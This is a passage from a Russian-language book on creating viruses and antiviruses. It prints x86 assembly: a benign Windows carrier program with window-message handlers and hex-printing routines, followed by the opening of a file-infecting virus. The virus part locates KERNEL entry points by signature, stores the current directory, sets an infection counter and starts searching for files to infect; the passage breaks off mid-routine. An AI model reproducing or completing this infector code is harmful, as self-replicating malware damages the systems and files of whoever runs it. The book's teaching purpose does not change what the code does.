Создаем вирус и антивирус
Шрифт:
wmcreate:
;Выходим из обработки сообщения
mov eax, 0
jmp finish
;Сообщение, не обрабатываемое данной программой, передаем Windows
defwndproc:
push [lparam]
push [wparam]
push [wmsg]
push [hwnd]
call DefWindowProc
;Выходим из обработки сообщения
jmp finish
;Сообщение WM_DESTROY (уничтожение окна)
wmdestroy:
;Закроем поток
push L 0
call PostQuitMessage
;Выходим из обработки сообщения
mov eax, 0
jmp finish
;Сообщение WM_LBUTTONDOWN (нажата
wmlbuttondown:
inc [mbx_count]
;Обновим содержимое окна
push L 0
push L 0
push [hwnd]
call InvalidateRect
;Выходим из обработки сообщения
mov eax, 0
jmp finish
;Сообщение WM_RBUTTONDOWN (нажата правая кнопка мыши)
wmrbuttondown:
push L 0
call MessageBeep
;Выходим из обработки сообщения
jmp finish
;Сообщение WM_SIZE (изменен размер окна)
wmsize:
;Выходим из обработки сообщения
mov eax, 0
jmp finish
;Сообщение WM_GETMINMAXINFO (попытка изменить размер
;или положение окна)
wmgetminmaxinfo:
;Заполним структуру MINMAXINFO
mov ebx, [lparam]
mov [(MINMAXINFO ptr ebx).mintrackposition_x],350
mov [(MINMAXINFO ptr ebx).mintrackposition_y],60
;Выходим из обработки сообщения
mov eax, 0
jmp finish
;Выходим из обработки сообщения
finish:
ret
WndProc endp
;Процедура перевода байта в ASCII−формат для печати. Значение,
;находящееся в регистре AL, будет записано в ASCII−формате
;по адресу ES:EDI
HexWrite8 proc
;Разделяем байт на полубайты и загружаем их в регистры AH и AL
mov ah,al
and al,0Fh
shr ah,4
;Добавляем 30h к каждому полубайту, чтобы регистры содержали коды
;соответствующих символов ASCII. Если число,
;записанное в полубайте, было больше 9,
;то значение в этом полубайте надо еще корректировать
or ax,3030h
;Меняем полубайты местами, чтобы регистр AH содержал младший
;полубайт, а регистр AL – старший
xchg al,ah
;Проверим, надо ли корректировать младший полубайт,
;если да – корректируем
cmp ah, 39h
ja @@4
;Проверим, надо ли корректировать старший полубайт,
;если да – корректируем
@@1:
cmp al,39h
ja @@3
;Сохраним значение по адресу ES:EDI
@@2:
stosw
ret
;Корректируем значение старшего полубайта
@@3:
sub al, 30h
add al, ”A”–10
jmp @@2
;Корректируем значение младшего полубайта
@@4:
sub ah, 30h
add ah, ”A”–10
jmp @@1
HexWrite8 endp
;Процедура перевода слова в ASCII−формат для печати.
;Значение, находящееся в регистре AX, будет записано
;в ASCII−формате по адресу ES:EDI
HexWrite16 proc
;Сохраним
младший байт из стекаpush ax
;Загрузим старший байт в регистр AL
xchg al,ah
;Переведем старший байт в ASCII−формат
call HexWrite8
;Восстановим младший байт из стека
pop ax
;Переведем младший байт в ASCII−формат
call HexWrite8
ret
HexWrite16 endp
;Процедура перевода двойного слова в ASCII−формат для печати.
;Значение, находящееся в регистре EAX, будет записано
;в ASCII−формате по адресу ES:EDI
HexWrite32 proc
;Сохраним младшее слово из стека
push eax
;Загрузим старшее слово в регистр AX
shr eax, 16
;Переведем старшее слово в ASCII−формат
call HexWrite16
;Восстановим младшее слово из стека
pop eax
;Переведем младшее слово в ASCII−формат
call HexWrite16
ret
HexWrite32 endp
;Сделаем процедуру WndProc доступной извне
public WndProc
ends
;Здесь начинается код вируса. Этот код переписывается из файла
;в файл. Все вышеописанное – всего лишь программа−носитель
vladseg segment para public ”vlad”
assume cs:vladseg
vstart:
;Вычислим текущий адрес
call recalc
recalc:
pop ebp
mov eax,ebp
db 2Dh ;Код команды SUB AX
subme dd 30000h+(recalc−vstart)
;Сохраним адрес в стеке
push eax
;Вычислим стартовый адрес вирусного кода
sub ebp,offset recalc
;Ищем KERNEL. Возьмем вторую известную нам точку KERNEL
mov eax,[ebp+offset kern2]
;Проверим ключ. Если ключа нет, перейдем к точке 1
cmp dword ptr [eax],5350FC9Ch
jnz notkern2
;KERNEL найден, точка 2
mov eax,[ebp+offset kern2]
jmp movit
;Точка 2 не подошла, проверим точку 1
notkern2:
;Возьмем адрес первой известной нам точки KERNEL
mov eax,[ebp+offset kern1]
;Проверим ключ, если ключа нет – выходим
cmp dword ptr [eax],5350FC9Ch
jnz nopayload
;KERNEL найден, точка 1
mov eax,[ebp+offset kern1]
;KERNEL найден, адрес точки входа находится в регистре EAX
movit:
;Сохраним адрес KERNEL
mov [ebp+offset kern],eax
cld
;Запомним текущую директорию
lea eax,[ebp+offset orgdir]
push eax
push 255
call GetCurDir
;Инициализируем счетчик заражений
mov byte ptr [ebp+offset countinfect],0
;Ищем первый файл
infectdir:
lea eax,[ebp+offset win32_data_thang]
push eax
lea eax,[ebp+offset fname]
push eax
call FindFile
;Сохраним индекс для поиска
mov dword ptr [ebp+offset searchhandle],eax